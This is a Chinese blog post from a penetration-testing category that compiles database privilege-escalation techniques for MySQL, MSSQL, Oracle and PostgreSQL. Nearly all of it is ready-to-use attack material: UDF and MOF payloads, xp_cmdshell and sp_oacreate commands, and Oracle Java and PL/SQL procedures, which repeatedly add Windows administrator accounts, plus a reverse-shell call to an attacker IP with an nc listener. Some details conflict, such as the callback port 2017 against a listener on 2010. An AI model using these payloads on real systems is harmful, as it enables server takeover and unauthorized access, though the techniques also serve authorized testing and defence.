常见数据库提权方式

作者: admin 分类: 渗透测试 发布时间: 2018-06-08 16:01

应公司所需,给各位研发大哥使用,特此准备一份,同时来这里备个份。
常见数据库提权方式
一. MySQL提权
1.1 UDF提权
udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到”Can’t open shared library”的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2、创建相应的函数并执行命令,具体如下:
create function cmdshell returns string soname ‘udf.dll’;创建自定义函数
select cmdshell(‘net user admin admin123!@# /add’);添加用户
select cmdshell(‘net localgroup administrators admin /add’);提升成管理员
drop function cmdshell; 删除函数
delete from mysql.func where name=’cmdshell’ 删除函数
3、某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法:
//查找到mysql的目录
select @@basedir;
//利用NTFS ADS创建lib目录
select ‘It is dll’ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION’;
//利用NTFS ADS创建plugin目录
select ‘It is dll’ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION’;
//最后导出即可
4、此外相应的dll文件可以从sqlmap中获取,也可以在拿到webshell之后上传一个专门udf提权的php文件。如图所示:
1.2 MOF提权
mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),对MOF提权漏洞利用分析如下:
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
具体到mysql提权中利用如下:
1、 找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent ”
“Where TargetInstance Isa \”Win32_LocalTime\” ”
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin123!@# /add\”)”;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2、 执行load_file及into dumpfile把文件导出到正确的位置即可。
SQL语句如下:
select load_file(‘C:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
1.3 反弹端口连接提权
假如我们扫到了一个 mysql 的 root 弱密码,并且可以外连,但是服务器上面的网站又无法 Getshell,这时我们怎么办呢?
利用 mysql 客户端工具连接 mysql 服务器,然后执行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -p
Enter password:
mysql> \. c:\mysql.txt
mysql>select backshell(“YourIP”,2017);
Mysql.txt 为 udf.dll 的二进制文件转成十六进制代码。
本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。
二.MSSQL提权
2.1 xp_cmdshell提权
存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如增加MSSQL数据库用户,枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止
具体提权操作如下:
1.启用xp_cmdshell
EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;
2.使用xp_cmdshell存储过程执行系统命令
master.dbo.xp_cmdshell ‘whoami’
3.用webshell提权操作如下:
2.2 sp_oacreate提权
1.开启sp_oacreate存储过程
exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;
2.利用sp_oacreate存储过程添加用户
#添加系统账号
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user name pwd /add’
#用户组提升
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup administrators name /add’
三.Oracle提权
3.1 直接使用本机cmd命令
C:\wmpub>sqlplus system/QWEasd123@testdb
SQL> host net user
\\TEST1 的用户帐户
——————————————————————————-
Administrator Guest SUPPORT_388945a0
命令成功完成。
3.2 通过PL/SQL运行OS命令
CREATE OR REPLACE LIBRARY
exec_shell AS ‘c:/windows/system32/msvcrt.dll’;
/
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec(cmdstring IN CHAR);
end oracmd;
/
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
exec oracmd.exec(‘net user FIGJAM 123 /add’);
exec oracmd.exec(‘net localgroup administrators FIGJAM /add’);
3.3 通过Java运行OS命令
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVACMD” AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME ‘JAVACMD.execCommand (java.lang.String)’;
/
exec javacmdproc(‘cmd.exe /c net user FIGJAM 123 /add’);
exec javacmdproc(‘cmd.exe /c net localgroup administrators FIGJAM /add’);
3.4 Java提权
create or replace and compile
java source named “Util”
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/
create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name ‘Util.RunThis(java.lang.String) return integer’;
/
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/
variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
grant javasyspriv to 用户名
/
exec :x:= RUN_CMD(‘net user FIGJAM /add’);
exec :x:= RUN_CMD(‘net localgroup administrators FIGJAM /add’);
四. PostgreSQL提权
4.1 使用udf提权
SELECT lo_create(9023);
Insert into pg_largeobject values (9023, 0, decode(‘7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e0020000000000000000200000000000020000000600’, ‘hex’));
insert into pg_largeobject values (9023, 1, decode(‘xxx’, ‘hex’));
insert into pg_largeobject values (9023, 2, decode(‘xxx’, ‘hex’));
insert into pg_largeobject values (9023, 3, decode(‘xxx’, ‘hex’));
insert into pg_largeobject values (9023, 4, decode(‘xxx’, ‘hex’));
insert into pg_largeobject values (9023, 5, decode(‘xxx’, ‘hex’));
SELECT lo_export(9023, ‘/tmp/testeval.so’);
执行命令:
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS ‘/tmp/lib_postgresqludf_sys.so’, ‘sys_eval’ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval(‘id’);
删除函数
drop function sys_eval;
如果是windows相应改变路径即可。直接导出可以到sqlmap的udf目录下找到相应的导出文件。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云